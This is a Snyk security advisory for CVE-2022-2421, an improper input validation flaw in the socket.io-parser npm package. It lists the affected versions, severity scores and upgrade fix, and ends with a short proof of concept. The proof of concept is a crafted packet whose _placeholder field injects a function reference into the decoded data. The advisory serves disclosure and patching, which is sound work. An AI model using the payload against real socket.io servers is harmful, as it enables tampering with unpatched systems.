Improper Input Validation Affecting socket.io-parser package, versions <3.3.3 >=3.4.0 <3.4.2 >=4.0.0 <4.0.5 >=4.1.0 <4.2.1
Snyk CVSS
Attack Complexity
Low
Confidentiality
High
Integrity
High
Availability
High
Threat Intelligence
EPSS
0.21% (59th
percentile)
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Test your applications- Snyk ID SNYK-JS-SOCKETIOPARSER-3091012
- published 30 Oct 2022
- disclosed 26 Oct 2022
- credit Thomas Rinsma
Introduced: 26 Oct 2022
CVE-2022-2421 Open this link in a new tabHow to fix?
Upgrade socket.io-parser to version 3.3.3, 3.4.2, 4.0.5, 4.2.1 or higher.
Overview
socket.io-parser is a socket.io protocol parser
Affected versions of this package are vulnerable to Improper Input Validation.
when parsing attachments containing untrusted user input. Attackers can overwrite the _placeholder object to place references to functions in query objects.
PoC
const decoder = new Decoder();
decoder.on("decoded", (packet) => {
console.log(packet.data); // prints [ 'hello', [Function: splice] ]
})
decoder.add('51-["hello",{"_placeholder":true,"num":"splice"}]');
decoder.add(Buffer.from("world"));